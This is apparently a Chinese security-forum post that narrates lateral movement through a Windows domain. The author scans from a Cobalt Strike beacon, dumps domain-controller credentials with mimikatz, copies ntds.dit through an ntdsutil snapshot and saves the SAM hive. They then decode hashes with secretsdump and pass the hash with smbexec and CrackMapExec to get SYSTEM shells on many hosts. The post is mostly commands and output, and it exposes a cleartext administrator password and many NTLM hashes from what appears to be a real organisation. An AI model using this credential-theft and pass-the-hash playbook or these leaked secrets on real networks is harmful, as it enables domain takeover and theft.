  1. <li>beacon> shell C:\Windows\TAPI\f.exe -h 10.10.11.1/24 -pwdf C:\Windows\TAPI\pass.txt -user Administrator -domain WEGO -o C:\Windows\TAPI\1.txt
  2. [+] received output:
  3. 10.10.11.99  (Windows 7 Professional 7601 Service Pack 1)
  4. NetInfo:</li><li>10.10.11.8
  5.    [->]Win7x64Pro
  6.    [->]10.10.11.8
  7. NetInfo:</li><li>10.10.11.99
  8.    [->]backuwego
  9.    [->]10.10.11.99
  10.    [->]10.30.10.199
  11. NetInfo:</li><li>10.10.11.6
  12.    [->]stufiles
  13.    [->]10.10.11.6
  14. 10.10.11.8  (Windows 7 Professional 7601 Service Pack 1)
  15. WebTitle:<a href="http://10.10.11.6:80" target="_blank">http://10.10.11.6:80</a> 403 IIS 8.0 閰喟敦�航炊 - 403.14 - Forbidden
  16. NetInfo:</li><li>10.10.11.7
  17.    [->]digireadweb
  18.    [->]10.10.11.7
  19. 10.10.11.7  (Windows Server (R) 2008 Standard 6003 Service Pack 2)
  20. WebTitle:<a href="http://10.10.11.95:443" target="_blank">http://10.10.11.95:443</a> 400 400 Bad Request
  21. WebTitle:<a href="http://10.10.11.95:80" target="_blank">http://10.10.11.95:80</a> 200 None
  22. SMB:10.10.11.6:445:WEGO\Administrator jo6ek6vul3vm,6
  23. WebTitle:<a href="http://10.10.11.14:80" target="_blank">http://10.10.11.14:80</a> 200 " + ID_EESX_Welcome + "
  24. WebTitle:<a href="http://10.10.11.15:80" target="_blank">http://10.10.11.15:80</a> 200 " + ID_EESX_Welcome + "
  25. WebTitle:<a href="https://10.10.11.14:443" target="_blank">https://10.10.11.14:443</a> 200 " + ID_EESX_Welcome + "
  26. WebTitle:<a href="https://10.10.11.15:443" target="_blank">https://10.10.11.15:443</a> 200 " + ID_EESX_Welcome + "
  27. WebTitle:<a href="https://10.10.11.16:443" target="_blank">https://10.10.11.16:443</a> 200 " + ID_EESX_Welcome + "
  28. WebTitle:<a href="http://10.10.11.16:80" target="_blank">http://10.10.11.16:80</a> 200 " + ID_EESX_Welcome + "
  29. WebTitle:<a href="http://10.10.11.10:80" target="_blank">http://10.10.11.10:80</a> 200 " + ID_EESX_Welcome + "
  30. WebTitle:<a href="https://10.10.11.10:443" target="_blank">https://10.10.11.10:443</a> 200 " + ID_EESX_Welcome + "
  31. WebTitle:<a href="http://10.10.11.7:80" target="_blank">http://10.10.11.7:80</a> 200 �����梯��訾�撠���-嚚��梯��扳��霈�嚚�
  32. WebTitle:<a href="https://10.10.11.95:443" target="_blank">https://10.10.11.95:443</a> 200 None

  33. [+] received output:
  34. WebTitle:<a href="https://10.10.11.77:443" target="_blank">https://10.10.11.77:443</a> 200 Vigor 登入页面
  35. WebTitle:<a href="http://10.10.11.77:80" target="_blank">http://10.10.11.77:80</a> 200 Vigor 登入页面
  36. WebTitle:<a href="https://10.10.11.254:443" target="_blank">https://10.10.11.254:443</a> 200 Vigor Login Page
  37. WebTitle:<a href="https://10.10.11.20:443" target="_blank">https://10.10.11.20:443</a> 200 Vigor 登入页面
  38. WebTitle:<a href="http://10.10.11.254:80" target="_blank">http://10.10.11.254:80</a> 200 Vigor Login Page
  39. WebTitle:<a href="https://10.10.11.80:443" target="_blank">https://10.10.11.80:443</a> 200  CN8000A - Cover

  40. [+] received output:
  41. scan end</li>
复制代码


扫描smb服务看一下

  1. beacon> shell C:\Windows\TAPI\f.exe -h 10.10.11.1/24 -pwdf C:\Windows\TAPI\pass.txt -user Administrator -domain WEGO -o C:\Windows\TAPI\1.txt -p 445 -m smb
  2. icmp alive hosts len is: 21
  3. 10.10.11.7:445 open
  4. 10.10.11.8:445 open
  5. 10.10.11.6:445 open
  6. 10.10.11.99:445 open
  7. SMB:10.10.11.6:445:WEGO\Administrator jo6ek6vul3vm,6
复制代码

机器很多,尝试哈希传递攻击。



登录域控制器10.2的3389使用迷你卡姿,抓去所有域内的hash。

  1. beacon> shell c:\Windows\TAPI\mimikatz.exe ""privilege::debug"" ""lsadump::lsa /patch full"" exit >>c:\Windows\TAPI\log1.txt
复制代码

或者使用cs插件

  1. ID  : 00000e07 (3591)
  2. User : ws4311
  3. LM   : 54191cf4166bc549aad3b435b51404ee
  4. NTLM : 4790310f070043b5d1709a30aede1a27

  5. RID  : 00000e08 (3592)
  6. User : ws4312
  7. LM   : 03b93594f7afee8caad3b435b51404ee
  8. NTLM : 5dab331d3681f85c85503c9437cfc03b

  9. RID  : 00000e09 (3593)
  10. User : ws4313
  11. LM   : d4cb20e652df2393aad3b435b51404ee
  12. NTLM : b6a56cab9d2568151015094e90cbd21d

  13. RID  : 00000e0a (3594)
  14. User : ws4314
  15. LM   : 687ac937560351a6aad3b435b51404ee
  16. NTLM : d7a7fca890e9f3c1d435bd5fc0caf327

  17. RID  : 00000e0b (3595)
  18. User : ws4315
  19. LM   : 0a19188cf464dda2aad3b435b51404ee
  20. NTLM : 6f748524eda9a94cb30dd323695b092e

  21. RID  : 00000e0c (3596)
  22. User : ws4316
  23. LM   : 7784d6e4bdf4f440aad3b435b51404ee
  24. NTLM : 3cb0a4c08952437b6311db01eedd3c45
复制代码

密码很多,这里就截取一部分。



导出域成员hash


SAM数据库中保存的信息进行提取,全面获取系统中的密码信息,还要对SAM数据库中保存的信息进行提取,导出当前系统中所有本地用户的hash。

  1. C:\Windows\system32>ntdsutil snapshot "activate instance ntds" create quit quit
  2. ntdsutil: snapshot
  3. 快照: activate instance ntds
  4. 使用中执行个体已设定为 "ntds"。
  5. 快照: create
  6. 正在建立快照...
  7. 快照集 {1dc812ae-3ae6-475b-bb67-ccafe028ae69} 已经成功产生。
  8. 快照: quit
  9. ntdsutil: quit

  10. C:\Windows\system32>ntdsutil snapshot "mount {1dc812ae-3ae6-475b-bb67-ccafe028ae
  11. 69}" quit quit
  12. ntdsutil: snapshot
  13. 快照: mount {1dc812ae-3ae6-475b-bb67-ccafe028ae69}
  14. 快照 {3f3a24b3-ce4f-4096-852a-0b3864a8909d} 已挂接为 C:\$SNAP_202012062103_VOLUM
  15. EC$\
  16. 快照: quit
  17. ntdsutil: quit

  18. C:\Windows\system32>copy C:\$SNAP_202012062103_VOLUMEC$\Windows\NTDS\ntds.dit c:
  19. \ntds.dit
  20. 复制了         1 个档案。
  21. C:\Windows\system32>

  22. 最后删除快照
  23. C:\Windows\system32>ntdsutil snapshot "unmount {1dc812ae-3ae6-475b-bb67-ccafe028
  24. ae69}" quit quit
  25. ntdsutil: snapshot
  26. 快照: unmount {1dc812ae-3ae6-475b-bb67-ccafe028ae69}
  27. 快照 {3f3a24b3-ce4f-4096-852a-0b3864a8909d} 已卸載。
  28. 快照: quit
  29. ntdsutil: quit

  30. C:\Windows\system32>ntdsutil snapshot "delete  {1dc812ae-3ae6-475b-bb67-ccafe028
  31. ae69}" quit quit
  32. ntdsutil: snapshot
  33. 快照: delete  {1dc812ae-3ae6-475b-bb67-ccafe028ae69}
  34. 快照 {3f3a24b3-ce4f-4096-852a-0b3864a8909d} 已經刪除。
  35. 快照: quit
  36. ntdsutil: quit

  37. C:\Windows\system32>
复制代码

导出sam和system:

  1. C:\Windows\system32>reg save hklm\sam sam.hiv
复制代码

操作顺利完成。
  1. C:\Windows\system32>reg save hklm\sam sam.hiv
复制代码

本地使用secretsdump.py,导出hash
  1. <li>➜  Public python3 1.py -ntds ntds.dit -system system.hiv LOCAL
  2. Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
  3. </li><li> Target system bootKey: 0xaf91815108821533b8b5c1365be697c1</li><li> Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)</li><li> Searching for pekList, be patient</li><li> PEK # 0 found and decrypted: e28acd8770d422291bab9e2a9f8901d4</li><li> Reading and decrypting hashes from ntds.dit
  4. AD2$:15142:aad3b435b51404eeaad3b435b51404ee:ef72a0d5642a9234a14daf517e4a9ccc:::
  5. AD3-OLD$:16625:aad3b435b51404eeaad3b435b51404ee:ef5035822b6ada38890c81bced3e7427:::
  6. AD1$:16630:aad3b435b51404eeaad3b435b51404ee:216f5e93e84c580d8c7d54995b82f35d:::
  7. Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  8. TsInternetUser:1000:22c206eac925d8cb606c5c8235eade10:65b4ce0675d0bb69277b75712e409528:::
  9. IUSR_MAIL:1004:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  10. IWAM_MAIL:1005:a7aa223e7443a354630461ad9692aa95:0792a2872e4c3fe838d2d35a985e4e6f:::
  11. Administrator:500:e74b5db312ea77404726d0d0bb05c458:a9398c8a95dbe6801f280d2cfb9c76de:::</li>
复制代码


哈希传递攻击与基于IPC的横向移动
PTH仍然是基于IPC远程连接实现的。

smbexec 可以通过文件共享(admin$,c$,ipc$,d$)在远程系统中执行命令。

目标系统必须开放445端口并且C$共享。

  1. smbexec.py -hashes :<hash> 域/域用户名@192.168.10.2
复制代码

需要根据上面我们在域控制器中抓取的密码,找到对应ip的对应主机名和哈希,才能使用smbexe,这里找到AD3的对应关系。

  1. ➜  Downloads python3 smbexec.py <a href="mailto:administrator@10.10.10.3">administrator@10.10.10.3</a> -hashes :a9398c8a95dbe6801f280d2cfb9c76de
  2. Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

  3. [!] Launching semi-interactive shell - Careful what you execute
  4. C:\Windows\system32>whoami
  5. nt authority\system

  6. C:\Windows\system32>

  7. ➜  NW python3 smbexec.py <a href="mailto:Administrator@10.10.10.41">Administrator@10.10.10.41</a> -hashes :a9398c8a95dbe6801f280d2cfb9c76de
  8. Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

  9. [!] Launching semi-interactive shell - Careful what you execute
  10. C:\Windows\system32>
  11. ➜  NW python3 smbexec.py <a href="mailto:administrator@10.10.10.38">administrator@10.10.10.38</a> -hashes :a9398c8a95dbe6801f280d2cfb9c76de
  12. Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

  13. [!] Launching semi-interactive shell - Careful what you execute
  14. C:\WINDOWS\system32>
复制代码

接着尝试3389等,中马,反弹cs就行。

使用CrackMapExec实现Hash传递:
  1. <li>SMB         10.10.10.5      445    DATABASE         [+] xx.xx.x x.xx\administrator a9398c8a95dbe6801f280d2cfb9c76de (Pwn3d!)
  2. SMB         10.10.10.88     445    NONE            </li><li> FXNICOS 0.1 (name:) (domain:) (signing:False) (SMBv1:True)
  3. SMB         10.10.10.100    445    CARD100         </li><li> Windows 7 Professional 7601 Service Pack 1 (name:CARD100) (domain:xx.xx.x x.xx) (signing:False) (SMBv1:True)
  4. SMB         10.10.10.2      445    AD1              [+] xx.xx.x x.xx\administrator a9398c8a95dbe6801f280d2cfb9c76de (Pwn3d!)
  5. SMB         10.10.10.20     445    FILES2           [+] xx.xx.x x.xx\administrator a9398c8a95dbe6801f280d2cfb9c76de (Pwn3d!)
  6. SMB         10.10.10.101    445    PERSONNEL-3060  </li><li> Windows 10.0 Build 17134 x64 (name:PERSONNEL-3060) (domain:xx.xx.x x.xx) (signing:False) (SMBv1:False)
  7. SMB         10.10.10.19     445    FILES2           [+] xx.xx.x x.xx\administrator a9398c8a95dbe6801f280d2cfb9c76de (Pwn3d!)
  8. SMB         10.10.10.22     445    ACADEMIC         [+] xx.xx.x x.xx\administrator a9398c8a95dbe6801f280d2cfb9c76de (Pwn3d!)
  9. SMB         10.10.10.103    445    LIB-3020-83     </li><li> Windows 7 Professional 7601 Service Pack 1 (name:LIB-3020-83) (domain:xx.xx.x x.xx) (signing:False) (SMBv1:True)
  10. SMB         10.10.10.3      445    AD2              [+] xx.xx.x x.xx\administrator a9398c8a95dbe6801f280d2cfb9c76de (Pwn3d!)
  11. SMB         10.10.10.4      445    AD3              [+] xx.xx.x x.xx\administrator a9398c8a95dbe6801f280d2cfb9c76de (Pwn3d!)
  12. SMB         10.10.10.39     445    ASUS-500G4-PC    [-] xx.xx.x x.xx\administrator:a9398c8a95dbe6801f280d2cfb9c76de STATUS_NETLOGON_NOT_STARTED</li>
复制代码

这里注意该工具可以看到主机ip与用户名的对应关系,结合之前拿到的hash文件:1.txt.ntds,把用户名、主机ip、用户hash就结合起来了。这里截取一部分`。

  1. STPC-37$:7840:aad3b435b51404eeaad3b435b51404ee:24eaa29232d5eab4d560f748bc4649b4:::
  2. STPC-33$:7847:aad3b435b51404eeaad3b435b51404ee:6ca428fed76b726f1656f3606cb0b2c9:::
  3. STPC-16$:7819:aad3b435b51404eeaad3b435b51404ee:ca8ff27d7b093aff95922a0b88e77f5c:::
复制代码

然后使用smbexec.py一个一个尝试。

网断还有个11段,太菜了,等学习了一下在打。

简单看了一下,有web服务、ftp等。

这里推荐一个师傅写的内网扫描器:

https://github.com/shadow1ng/fscan

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 18:43 , Processed in 0.021354 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表